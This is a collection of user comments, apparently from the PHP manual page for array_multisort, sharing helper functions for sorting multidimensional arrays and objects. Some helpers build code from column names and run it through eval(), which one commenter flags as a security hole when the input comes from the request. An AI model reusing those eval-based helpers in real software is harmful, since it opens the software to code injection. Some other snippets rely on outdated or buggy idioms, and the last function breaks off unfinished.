One-liner function to sort multidimensionnal array by key, thank's to array_column

<?php

array_multisort (array_column($array, 'key'), SORT_DESC, $array);

?>
intsystem88 at gmail dot com 25-Oct-2015 01:03
See (rus): https://intsystem.org/coding/sortirovka-mnogomernyh-massivov-po-klyuchu-na-php/

Simple example:

<?php
$data=array(
    array('text'=>'str1', 'year'=>'2010', 'author'=>10),
    array('text'=>'str2', 'year'=>'2011', 'author'=>10),
    array('text'=>'str3', 'year'=>'2009', 'author'=>20),
    array('text'=>'str4', 'year'=>'2010', 'author'=>30),
    array('text'=>'str5', 'year'=>'2010', 'author'=>20),
    array('text'=>'str6', 'year'=>'2011', 'author'=>10),
    array('text'=>'str7', 'year'=>'2011', 'author'=>20),
    array('text'=>'str8', 'year'=>'2009', 'author'=>20),
);

$data_year=array();

foreach($data as $key=>$arr){
    $data_year[$key]=$arr['year'];
}

for($i=0; $i<100000; $i++){
    $data_tmp=$data;
    array_multisort($data_year, SORT_NUMERIC, $data_tmp);
}
?>
nospam at nospam dot com 23-Oct-2015 10:30
Super easy and simple way to sort a keyed multiarray while maintaining all associative keys, including numeric!

Preserves the original multiarray order if the sorting values are equal.

<?php
// sorts multiarray by a subarray value while preserving all keys, also preserves original order when the sorting values match
function maSort($ma = '', $sortkey = '', $sortorder = 1) { // sortorder: 1=asc, 2=desc
  if ($ma && is_array($ma) && $sortkey) { // confirm inputs
    foreach ($ma as $k=>$a) $temp["$a[$sortkey]"][$k] = $a; // temp ma with sort value, quotes convert key to string in case numeric float
    if ($sortorder == 2) { // descending
      krsort($temp);
    } else { // ascending
      ksort($temp);
    }
    $newma = array(); // blank output multiarray to add to
    foreach ($temp as $sma) $newma += $sma; // add sorted arrays to output array
    unset($ma, $sma, $temp); // release memory
    return $newma;
  }
}
?>
matt at wennersten dot org 29-Jul-2015 09:09
Many users have contributed nifty wrapper functions for generalizing array_multisort. However, some of us may just want a simple example that illustrates how to sort an arbitrary multi-dimensional array, such as a database result set, on a named field.

Consider an array of voice recordings (Clip objects) that are stored on a file system, and referenced via a database table:

    $fetchClipQuery = "SELECT * from voiceclips";
    if ( !$result = $this->db->query($fetchClipQuery) ) {
            $errormessage = $this->db->errno;
            $errormessage .= $this->db->error;
        } else {
            while($row = $result->fetch_assoc()){
                $clip = new Clip();
                $clip->populate($row['clipURL']);
                $clips[] = array("speaker"=>$row['speaker'],"duration"=>$row['duration'],"clip"=>$clip);
            }

//we now have an array called clips[] that looks like this:

array("speaker"=>"Obama","duration"=>"22:00","clip"=>...<some arbitrary object>...);

        //suppose we want to sort the array by speaker
        $sortkeyname = "speaker";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

           //suppose we want to sort the array by duration
        $sortkeyname = "duration";
        //do the sort
        $sortkeyarray = array();
        foreach ($clips as $key => $row){
            $sortkeyarray[$key] = $row[$sortkeyname];
        }
        array_multisort($sortkeyarray, SORT_DESC, $clips);

...etc.
jcharpentier at darkmira dot fr 23-Feb-2014 05:11
There is a lack of precision for the second example :

Example #2 Sorting multi-dimensional array

The explanation is :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order). "
This could be misunderstood cause a sort as numbers in descending order will be 1, 1, "2", 2, 3.

My proposal is as follows (in a best english should be great ^^) :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as well as first one, except for values 3 and "2" sorted as numbers, in descending order).  Because they are corresponding to the identical entries in the first array (100 and 100) which couldn't be sorted at first time."
Robert C 09-Jan-2014 12:11
Hi,

I would like to see the next code snippet to be added to http://nl3.php.net/array_multisort

Purpose: Sort a 2-dimensional array on some key(s)

Advantage of function:
- uses PHP's array_multisort function for sorting;
- it prepares the arrays (needed by array_multisort) for you;
- allows the sort criteria be passed as a separate array (It is possible to use sort order and flags.);
- easy to set/overwrite the way strings are sorted (case insensitive instead of case sensitive, which is PHP's default way of sorting);
- performs excellent

function MultiSort($data, $sortCriteria, $caseInSensitive = true)
{
  if( !is_array($data) || !is_array($sortCriteria))
    return false;
  $args = array();
  $i = 0;
  foreach($sortCriteria as $sortColumn => $sortAttributes)
  {
    $colList = array();
    foreach ($data as $key => $row)
    {
      $convertToLower = $caseInSensitive && (in_array(SORT_STRING, $sortAttributes) || in_array(SORT_REGULAR, $sortAttributes));
      $rowData = $convertToLower ? strtolower($row[$sortColumn]) : $row[$sortColumn];
      $colLists[$sortColumn][$key] = $rowData;
    }
    $args[] = &$colLists[$sortColumn];

    foreach($sortAttributes as $sortAttribute)
    {
      $tmp[$i] = $sortAttribute;
      $args[] = &$tmp[$i];
      $i++;
     }
  }
  $args[] = &$data;
  call_user_func_array('array_multisort', $args);
  return end($args);
}

Usage:

//Fill an array with random test data
define('MAX_ITEMS', 15);
define('MAX_VAL', 20);
for($i=0; $i < MAX_ITEMS; $i++)
  $data[] = array('field1' => rand(1, MAX_VAL), 'field2' => rand(1, MAX_VAL), 'field3' => rand(1, MAX_VAL) );

//Set the sort criteria (add as many fields as you want)
$sortCriteria =
  array('field1' => array(SORT_DESC, SORT_NUMERIC),
       'field3' => array(SORT_DESC, SORT_NUMERIC)
  );

//Call it like this:
$sortedData = MultiSort($data, $sortCriteria, true);
Patrick Adrichem 17-Oct-2013 08:08
If you do not have PHP 5.4 installed yet and you cannot use SORT_NATURAL. This function sorts arrays natural multi-dimensional based on key value

this function can be used for arrays as

array ( name => array( key => value ) )
and

array( name => value ).

arrays as array( name => array( key => value), name => value) are not supported.

<?php
        static function natcasesortRecursive(&$aArray)
        {
            $bHasArrays = false;
            foreach ($aArray as $sKey => &$mValue)
            {
                if (true === is_array($mValue))
                {
                    self::natcasesortRecursive($mValue);
                    $bHasArrays = true;
                }
            }
            if (true === $bHasArrays)
            {
                uksort($aArray, 'strnatcasecmp');
            }
            else
            {
                natcasesort($aArray);
            }
        }
?>
Magento-User 11-Oct-2013 03:25
When sorting an array of (complex) objects, this function can give you a "Fatal error:  Nesting level too deep" since it directly compares elements in later arrays if the elements in earlier ones compare equal. This can be worked around with the Flag-Parameter:
<?php
$sortKeys = array_map($extractKey, $lotsOfComplexObjects);
array_multisort($sortKeys, $lotsOfComplexObjects, SORT_ASC, SORT_NUMERIC);
?>
I'm replacing an 'uasort()'-call which is significantly slower since it leads to a lot of calls to the comparison-function but most of the objects involved are recursive.

If this 'trick' gives a wrong order,  you need a better key.
plugboard at web dot de 04-Sep-2012 02:56
multisort an Array of Objects:

example object [$object with array of objects]: (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [1] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [2] => test Object (
            [id] => 3
            [title] => DDDD
         )
      [3] => test Object (
            [id] => 4
            [title] => BBBB
         )
   )
)

----------------------------------

Simple PHP function: sort_arr_of_obj()

<?php
// --------------------------------------

/*
* -------- function arguments --------
*   $array ........ array of objects
*   $sortby ....... the object-key to sort by
*   $direction ... 'asc' = ascending
* --------
*/

function sort_arr_of_obj($array, $sortby, $direction='asc') {

    $sortedArr = array();
    $tmp_Array = array();

    foreach($array as $k => $v) {
        $tmp_Array[] = strtolower($v->$sortby);
    }

    if($direction=='asc'){
        asort($tmp_Array);
    }else{
        arsort($tmp_Array);
    }

    foreach($tmp_Array as $k=>$tmp){
        $sortedArr[] = $array[$k];
    }

    return $sortedArr;

}

// --------------------------------------
?>

example call:
----------------------------------

<?php

$sorted->Artikel = sort_arr_of_obj($object->Artikel,'title','asc');

?>

example result: $sorted (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [1] => test Object (
            [id] => 4
            [title] => BBBB
         )
      [2] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [3] => test Object (
            [id] => 3
            [title] => DDDD
         )

   )
)

-------------------------

:)
rnacken at gmail dot com 11-Feb-2012 11:59
When I was working on a search engine, that had to order the results in PHP by multiple arguments, I got stuck on the issue of multisort erasing your (numeral) indexes for a while. Sometimes, it is important to keep these indexes intact. In my case, the indexes were IDs and the values were a percentage of how relevant the object was, considering an earlier query.
e.g: $searchResult = (23 => 0.3,
                    102 => 0.5,
                    11 => 0.5,
                    340 => 0.5,
                    10 => 0.9);

I wanted to use array_multisort to first sort DESC on the IDs, and then on the values DESC. i.e. I wanted to show the highest values first, but in case of two (or more) objects with the same value, the higher ID would be shown first.
e.g: $searchResult = (10 => 0.9,
                   340 => 0.5,
                   102 => 0.5,
                   11 => 0.5,
                   23 => 0.3);

The easiest way to do this, I think, is:
<?php
    // create a 2-deep array with the values and keys of $searchResult
    $array = array(
               $searchResult,
               array_keys($searchResult)
    );
    // use multisort, first on the values, then on the keys. This will erase the indexes in the $searchResult array
    array_multisort($array[0], SORT_DESC,  $array[1], SORT_DESC);
    // get the ordered keys back in the $searchResult array
    $searchResult = array_combine($array[1], $array[0]);
    unset($array); //clear some memory
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:36
USort function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution over this function.

Hope it helps!
info at ichier dot de 28-Jul-2011 08:59
if you want to sort an array by columns, this is the function to do it.

<?php
function array_csort() {        //coded by Ichier2003
    $args = func_get_args();
    $marray = array_shift($args);
    $msortline = 'return(array_multisort(';
    foreach ($args as $arg) {
        $i++;
        if (is_string($arg)) {
            foreach ($marray as $row) {
                $sortarr[$i][] = $row[$arg];
            }
        } else {
            $sortarr[$i] = $arg;
        }
        $msortline .= '$sortarr['.$i.'],';
    }
    $msortline .= '$marray));';
    eval($msortline);
    return $marray;
}
?>
thierryzo at hotmail dot fr 29-Jun-2011 02:27
//A very simple way to sort arrays with this kind of structure.

<?php
    $myArray =array(
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "001","REF" => "RXL","COLOR" => "BLUE","L1" => 6),
        array("NUMCIE" => "001","REF" => "RHQ","COLOR" => "RED","L1" => 4),
        array("NUMCIE" => "002","REF" => "RXL","COLOR" => "YELLOW","L1" => 8));

    foreach($myArray as $c=>$key) {
        $sort_numcie[] = $key['NUMCIE'];
        $sort_ref[] = $key['REF'];
        $sort_color[] = $key['COLOR'];
    }

    array_multisort($sort_numcie, SORT_ASC, $sort_ref, SORT_STRING, $myArray);
    print_r($myArray);

?>

//Result array

Array
(
    [0] => Array
        (
            [NUMCIE] => 001
            [REF] => RHQ
            [COLOR] => RED
            [L1] => 4
        )

    [1] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => BLUE
            [L1] => 6
        )

    [2] => Array
        (
            [NUMCIE] => 001
            [REF] => RXL
            [COLOR] => RED
            [L1] => 4
        )

    [3] => Array
        (
            [NUMCIE] => 002
            [REF] => RXL
            [COLOR] => YELLOW
            [L1] => 8
        )

)
Jaak Tamre 22-Mar-2011 06:42
I had a problem with sorting SimpleXMLElement list. I found a nice short solution.

I have an array of ticket objects: $ticketList = $xml->Tickets;

<?php
// Sort by ValidOnDate
$tickets = array();
$valid = array();
foreach ($ticketList as $row) {
    $tickets[] = $row;
    $valid[] = DateHandler::parseDate($row->ValidOnDate);
}
array_multisort($valid, SORT_DESC, $tickets);
?>

Just make an array of object items you want to sort by and a new array for the same objects which will be reordered like the first array.

Ps: my own parseDate(date) returns unix timestamp for different date formats.
jimpoz at jimpoz dot com 21-Oct-2010 02:26
I came up with an easy way to sort database-style results. This does what example 3 does, except it takes care of creating those intermediate arrays for you before passing control on to array_multisort().

<?php
function array_orderby()
{
    $args = func_get_args();
    $data = array_shift($args);
    foreach ($args as $n => $field) {
        if (is_string($field)) {
            $tmp = array();
            foreach ($data as $key => $row)
                $tmp[$key] = $row[$field];
            $args[$n] = $tmp;
            }
    }
    $args[] = &$data;
    call_user_func_array('array_multisort', $args);
    return array_pop($args);
}
?>

The sorted array is now in the return value of the function instead of being passed by reference.

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);

// Pass the array, followed by the column names and sort flags
$sorted = array_orderby($data, 'volume', SORT_DESC, 'edition', SORT_ASC);
?>
zequez at gmail dot com 06-May-2010 03:19
Easiest way I find out to sort an entire multidimensional array by one element of it:

<?php
$multiArray = Array(
    Array("id" => 1, "name" => "Defg"),
    Array("id" => 2, "name" => "Abcd"),
    Array("id" => 3, "name" => "Bcde"),
    Array("id" => 4, "name" => "Cdef"));
$tmp = Array();
foreach($multiArray as &$ma)
    $tmp[] = &$ma["name"];
array_multisort($tmp, $multiArray);
foreach($multiArray as &$ma)
    echo $ma["name"]."<br/>";

/* Outputs
    Abcd
    Bcde
    Cdef
    Defg
*/
?>

^-^
alexander dot v at zend dot com 20-Jan-2010 03:42
array_multisort works normally in php 5.3, but it forces arguments to be references.

It doesn't make differences for common array_multisort() usage, but makes "problems" for sorting variable number of arrays where call_user_func_array() function is involved.

So all sorting arrays have to be collected into new one as a references to array variables:

<?php
$sortArgs = array();

for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>

This (requiring arguments to be a reference) is not actually a problem since source array will not be sorted otherwise.

Important note!
Don't forget to destroy $valuesArray variable if you use it over each array_multisort() argument processing iteration.
If you don't do it, all array_multisort() arguments will contain the same array:

<?php
for (...) {
    ...
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}
?>

And the last important thing :)
Collect sorting arrays somewhere. PHP 5.3 will transfer reference into value (when $valuesArray is destroyed) and you will get "Parameter 1 to array_multisort() expected to be a reference, value given" warning again otherwise.

Final code should look like this:

<?php
$sortArgs = array();
$sortFieldValues = array();

for (...) {
    ...
    $sortFieldValues[] = &$valuesArray;
    $sortArgs[] = &$valuesArray;
    unset($valuesArray);
    ...
}

call_user_func_array('array_multisort', $sortArgs);
?>
d_inkubus at yahoo dot com 21-Dec-2009 03:33
Update to array_msort()--in PHP 5.3 it won't work.

The solution is to replace the array_merge($params, $order) with the following code snippet:

<?php
$order=(array)$order;
foreach($order as $order_element)
{
    $params[]=&$order_element;
}
?>

Full code to array_msort():

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order)
    {
        $colarr[$col] = array();
        foreach ($array as $k => $row)
        {
            $colarr[$col]['_'.$k] = strtolower($row[$col]);
        }
    }
    $params = array();
    foreach ($cols as $col => $order)
    {

        $params[] =&$colarr[$col];
        $order=(array)$order;
        foreach($order as $order_element)
        {
            //pass by reference, as required by php 5.3
            $params[]=&$order_element;
        }
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr)
    {
        foreach ($arr as $k => $v)
        {
            if ($first)
            {
                $keys[$k] = substr($k,1);
            }
            $k = $keys[$k];

            if (!isset($ret[$k]))
            {
                $ret[$k] = $array[$k];
            }

            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;
}
?>

For further reference, see these bug reports:
http://bugs.php.net/bug.php?id=49069
http://bugs.php.net/bug.php?id=49241
s dot i dot g at gmx dot com 10-Jul-2009 06:21
simple dns mx record sorting

<?php
//getting domain name
list($user, $domain) = split('[@]', $email);
getmxrr($domain, $mx_server, $mx_weight);

//sorting
for($i = 0; $i < count($mx_server); $i++)
{
    $mx[$i] = array
    (
      "server" => $mx_server[$i],
      "weight" => $mx_weight[$i],
    );
}
array_multisort($mx_weight, SORT_ASC, $mx_server, SORT_ASC, $mx);

//display result
print_r($mx);

//usage
$server = $mx[0]["server"];
?>
cagret at gmail dot com 21-Jun-2009 03:38
Update to array_msort(): instead of eval() using call_user_func_array(). If we get column sorting via $_GET it would be a serious security hole.

Now it also accepts multiple options for each column:

<?php
$arr2 = array_msort($arr1, array('name'=>array(SORT_DESC,SORT_REGULAR), 'cat'=>SORT_ASC));
?>

Btw. this function is automatically case-insensitive, as you can see use of strtolower().

<?php
function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $params = array();
    foreach ($cols as $col => $order) {
        $params[] =& $colarr[$col];
        $params = array_merge($params, (array)$order);
    }
    call_user_func_array('array_multisort', $params);
    $ret = array();
    $keys = array();
    $first = true;
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            if ($first) { $keys[$k] = substr($k,1); }
            $k = $keys[$k];
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
        $first = false;
    }
    return $ret;

}
?>
cagret at gmail dot com 20-Jun-2009 12:16
A more inuitive way of sorting multidimensional arrays using array_msort() in just one line, you don't have to divide the original array into per-column-arrays:

<?php

$arr1 = array(
    array('id'=>1,'name'=>'aA','cat'=>'cc'),
    array('id'=>2,'name'=>'aa','cat'=>'dd'),
    array('id'=>3,'name'=>'bb','cat'=>'cc'),
    array('id'=>4,'name'=>'bb','cat'=>'dd')
);

$arr2 = array_msort($arr1, array('name'=>SORT_DESC, 'cat'=>SORT_ASC));

debug($arr1, $arr2);

arr1:
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
arr2:
    2:
        id: 3 (int)
        name: bb (string:2)
        cat: cc (string:2)
    3:
        id: 4 (int)
        name: bb (string:2)
        cat: dd (string:2)
    0:
        id: 1 (int)
        name: aA (string:2)
        cat: cc (string:2)
    1:
        id: 2 (int)
        name: aa (string:2)
        cat: dd (string:2)

function array_msort($array, $cols)
{
    $colarr = array();
    foreach ($cols as $col => $order) {
        $colarr[$col] = array();
        foreach ($array as $k => $row) { $colarr[$col]['_'.$k] = strtolower($row[$col]); }
    }
    $eval = 'array_multisort(';
    foreach ($cols as $col => $order) {
        $eval .= '$colarr[\''.$col.'\'],'.$order.',';
    }
    $eval = substr($eval,0,-1).');';
    eval($eval);
    $ret = array();
    foreach ($colarr as $col => $arr) {
        foreach ($arr as $k => $v) {
            $k = substr($k,1);
            if (!isset($ret[$k])) $ret[$k] = $array[$k];
            $ret[$k][$col] = $array[$k][$col];
        }
    }
    return $ret;

}

?>
m dot michalczyk at gmail dot com 16-May-2009 03:45
Here is useful example based on za at byza dot it solution to sort multidimensional objects by any dimension.
za at byza dot it
<?php
/* Example structure */
class person{
    function __construct($firstName, $lastName, $title, $position){
        $this->firstName = $firstName;
        $this->lastName = $lastName;
        $this->title = new title($title);
        $this->position = new position($position);
    }
}
class title{
    function __construct($name){
        $this->name = $name;
    }

}
class position{
    function __construct($name){
        $this->name = $name;
    }

}

$array[] = new person('Piotr', 'Sobiepanek', 'b', 'b');
$array[] = new person('Piotr', 'Kowalski', 'b', 'a');
$array[] = new person('Piotr', 'Michalski', 'a', 'a');
$array[] = new person('Jozef', 'Smietana', 'a', 'b');
$array[] = new person('Jozef', 'Cmietana', 'a', 'b');
$array[] = new person('Marcin', 'Kondraciuk', 'c', 'b');
$array[] = new person('Maksym', 'Kondraciuk', 'c', 'd');
$array[] = new person('Ambrozy', 'Kondraciuk', 'c', 'd');
$array[] = new person('Alojzy', 'Kondraciuk', 'c', 'd');

array_sort($array, 'title->name', 'position->name', 'lastName');
print_r($array);

/* Source */

function hod(&$base, $path){
    $keys = explode("->", $path);
    $keys[0] = str_replace('$', '', $keys[0]);
    $expression = '$ret = ';
    $expression.= '$';
    foreach ($keys as $key){
        if (++$licz == 1){
            $expression.= 'base->';
        } else {
            $expression.= $key.'->';
        }
    }
    $expression = substr($expression, 0, -2);
    $expression.= ';';
    eval($expression);
    return $ret;
}

function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if($k[0]=='!') {
         $k=substr($k,1);
         if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
            return strcmp(hod($b, '$b->'.$k),hod($a, '$a->'.$k));
         }
      }
      else if(hod($a, '$a->'.$k)!==hod($b, '$b->'.$k)) {
         return strcmp(hod($a, '$a->'.$k),hod($b, '$b->'.$k));
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
za at byza dot it 27-Apr-2009 10:08
I wrote a function to sort a multidimensional array by multiple columns in ascending and descending order.

Sample array:

<?php
$my_array=array(
   array('id'=>1, 'surname'=>'rossi', 'name'=>'mario', 'group'=>'admin'),
   array('id'=>2, 'surname'=>'rossi', 'name'=>'giovanni', 'group'=>'user'),
   array('id'=>3, 'surname'=>'verdi', 'name'=>'luigi', 'group'=>'user'),
   array('id'=>4, 'surname'=>'verdi', 'name'=>'franco', 'group'=>'guest'),
   array('id'=>5, 'surname'=>'bianchi', 'name'=>'mario', 'group'=>'guest')
);
?>

Example: <?php array_sort($my_array,'!group','surname'); ?>

Output: sort the array DESCENDING by group and then ASCENDING by surname. Notice the use of ! to reverse the sort order. Rows order will be: 2,3,5,4,1

The function code:

<?php
function array_sort_func($a,$b=NULL) {
   static $keys;
   if($b===NULL) return $keys=$a;
   foreach($keys as $k) {
      if(@$k[0]=='!') {
         $k=substr($k,1);
         if(@$a[$k]!==@$b[$k]) {
            return strcmp(@$b[$k],@$a[$k]);
         }
      }
      else if(@$a[$k]!==@$b[$k]) {
         return strcmp(@$a[$k],@$b[$k]);
      }
   }
   return 0;
}

function array_sort(&$array) {
   if(!$array) return $keys;
   $keys=func_get_args();
   array_shift($keys);
   array_sort_func($keys);
   usort($array,"array_sort_func");
}
?>
mech.cx 28-Mar-2009 12:04
I was (as near everyone here :-) looking to sort 2-dimensional arrays by certain fields in the associative sub-arrays.
What I didn't like about the documentation examples is that you need to loop through the input array to create sub arrays first, then use those in the function call.

"php a-t-the-r-a-t-e chir.ag" (http://www.php.net/manual/en/function.array-multisort.php#60401) wrote a quite cunning wrapper function, I rewrote it slightly, changing variable names and adding comments (for my sanity :-) mostly.
One snag I found: the input array is passed to array_multisort as last argument, but the changed array is not the one that is returned. Passing it by reference fixed that. This seems to be caused by the whole thing sitting inside the call_user_func_array, as shown below.

<?php

$points = array(1, 5, 2, 2);
$names  = array('peter', 'mike', 'john Zoo', 'john Ab');

$source = array (
  array ( 'points' => 1, 'name' => 'Peter'),
  array ( 'points' => 5, 'name' => 'Mike'),
  array ( 'points' => 2, 'name' => 'John Zoo'),
  array ( 'points' => 2, 'name' => 'John Ab')
);

call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, $source)); // doesn't work
print_r($source);
call_user_func_array('array_multisort', array($points, SORT_DESC, SORT_NUMERIC, $names, SORT_ASC, SORT_STRING, &$source)); // works!
print_r($source);

// Call like arrayColumnSort('points', SORT_DESC, SORT_NUMERIC, 'name', SORT_ASC, SORT_STRING, $source);

// Slightly adapted from http://www.php.net/manual/en/function.array-multisort.php#60401

// arrayColumnSort(string $field, [options, ], string $field2, [options, ], .... , $array) /

//____________________
// arrayColumnSort() /
function arrayColumnSort() {
  $args  = func_get_args();
  $array = array_pop($args);
  if (! is_array($array)) return false;
  // Here we'll sift out the values from the columns we want to sort on, and put them in numbered 'subar' ("sub-array") arrays.
  //   (So when sorting by two fields with two modifiers (sort options) each, this will create $subar0 and $subar3)
  foreach($array as $key => $row) // loop through source array
    foreach($args as $akey => $val) // loop through args (fields and modifiers)
      if(is_string($val))             // if the arg's a field, add its value from the source array to a sub-array
        ${"subar$akey"}[$key] = $row[$val];
  // $multisort_args contains the arguments that would (/will) go into array_multisort(): sub-arrays, modifiers and the source array
  $multisort_args = array();
  foreach($args as $key => $val)
    $multisort_args[] = (is_string($val) ? ${"subar$key"} : $val);
  $multisort_args[] = &$array;   // finally add the source array, by reference
  call_user_func_array("array_multisort", $multisort_args);
  return $array;
}

?>
frank at overdrunk dot net 14-Jan-2009 02:38
I had a function to make a sort on a 2D array and I wanted to sort an array using a column that usualy contains numeric values but also strings.

Lets say we have this array :

Array (
  [0] => Array ( "name" = "12000" ),
  [1] => Array ( "name" = "113" ),
  [2] => Array ( "name" = "test 01" ),
  [3] => Array ( "name" = "15000 tests" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "350" ),
  [6] => Array ( "name" = "725" ),
  [7] => Array ( "name" = "hello" )
}

SORT_STRING whould have returned me this :

Array ( // Numeric values are not correctly sorted
  [0] => Array ( "name" = "113" ),
  [1] => Array ( "name" = "12000" ),
  [2] => Array ( "name" = "15000 tests" ),
  [3] => Array ( "name" = "350" ),
  [4] => Array ( "name" = "45" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "hello" ),
  [7] => Array ( "name" = "test 01" )
}

SORT_NUMERIC would have returned me this :

Array ( // String values are not sorted, just in the same order
  [0] => Array ( "name" = "test 01" ),
  [1] => Array ( "name" = "hello" ),
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
}

So I've made this hybrid code which combines the best of both worlds by merging content sorted either way according to the first caracter of the string:

<?php
/**
 * Sorts an array according to a specified column
 * Params : array  $table
 *          string $colname
 *          bool   $numeric
 **/
function sort_col($table, $colname) {
  $tn = $ts = $temp_num = $temp_str = array();
  foreach ($table as $key => $row) {
    if(is_numeric(substr($row[$colname], 0, 1))) {
      $tn[$key] = $row[$colname];
      $temp_num[$key] = $row;
    }
    else {
      $ts[$key] = $row[$colname];
      $temp_str[$key] = $row;
    }
  }
  unset($table);

  array_multisort($tn, SORT_ASC, SORT_NUMERIC, $temp_num);
  array_multisort($ts, SORT_ASC, SORT_STRING, $temp_str);
  return array_merge($temp_num, $temp_str);
}
?>

It would return something like this :

Array (
  [2] => Array ( "name" = "45" ),
  [3] => Array ( "name" = "113" ),
  [4] => Array ( "name" = "350" ),
  [5] => Array ( "name" = "725" ),
  [6] => Array ( "name" = "12000" ),
  [7] => Array ( "name" = "15000 tests" ),
  [1] => Array ( "name" = "hello" ),
  [0] => Array ( "name" = "test 01" ),
}
Zbigniew Heintze http://bigweb.pl 26-Nov-2008 11:36
<?php
/**
 * Sort DB result
 *
 * @param array $data Result of sql query as associative array
 *
 * Rest of parameters are optional
 * [, string $name  [, mixed $name or $order  [, mixed $name or $mode]]]
 * $name string - column name i database table
 * $order integer - sorting direction ascending (SORT_ASC) or descending (SORT_DESC)
 * $mode integer - sorting mode (SORT_REGULAR, SORT_STRING, SORT_NUMERIC)
 *
 * <code>
 * <?php
 * // You can sort data by several columns e.g.
 * $data = array();
 * for ($i = 1; $i <= 10; $i++) {
 *     $data[] = array( 'id' => $i,
 *                      'first_name' => sprintf('first_name_%s', rand(1, 9)),
 *                      'last_name' => sprintf('last_name_%s', rand(1, 9)),
 *                      'date' => date('Y-m-d', rand(0, time()))
 *                  );
 * }
 * $data = sortDbResult($data, 'date', SORT_DESC, SORT_NUMERIC, 'id');
 * printf('<pre>%s</pre>', print_r($data, true));
 * $data = sortDbResult($data, 'last_name', SORT_ASC, SORT_STRING, 'first_name', SORT_ASC, SORT_STRING);
 * printf('<pre>%s</pre>', print_r($data, true));
 * ?>
 * </code>
 *
 * @return array $data - Sorted data
 */
function sortDbResult(array $data /*$name, $order, $mode*/) {
    $_argList = func_get_args();
    $_data = array_shift($_argList);
    if (empty($_data)) {
        return $_data;
    }
    $_max = count($_argList);
    $_params = array();
    $_cols = array();
    $_rules = array();
    for ($_i = 0; $_i < $_max; $_i += 3)
    {
        $_name = (string) $_argList[$_i];
        if (!in_array($_name, array_keys(current($_data)))) {
            continue;
        }
        if (!isset($_argList[($_i + 1)]) || is_string($_argList[($_i + 1)])) {
            $_order = SORT_ASC;
            $_mode = SORT_REGULAR;
            $_i -= 2;
        } else if (3 > $_argList[($_i + 1)]) {
            $_order = SORT_ASC;
            $_mode = $_argList[($_i + 1)];
            $_i--;
        } else {
            $_order = $_argList[($_i + 1)] == SORT_ASC ? SORT_ASC : SORT_DESC;
            if (!isset($_argList[($_i + 2)]) || is_string($_argList[($_i + 2)])) {
                $_mode = SORT_REGULAR;
                $_i--;
            } else {
                $_mode = $_argList[($_i + 2)];
            }
        }
        $_mode = $_mode != SORT_NUMERIC
                    ? $_argList[($_i + 2)] != SORT_STRING ? SORT_REGULAR : SORT_STRING
                    : SORT_NUMERIC;
        $_rules[] = array('name' => $_name, 'order' => $_order, 'mode' => $_mode);
    }
    foreach ($_data as $_k => $_row) {
        foreach ($_rules as $_rule) {
            if (!isset($_cols[$_rule['name']])) {
                $_cols[$_rule['name']] = array();
                $_params[] = &$_cols[$_rule['name']];
                $_params[] = $_rule['order'];
                $_params[] = $_rule['mode'];
            }
            $_cols[$_rule['name']][$_k] = $_row[$_rule['name']];
        }
    }
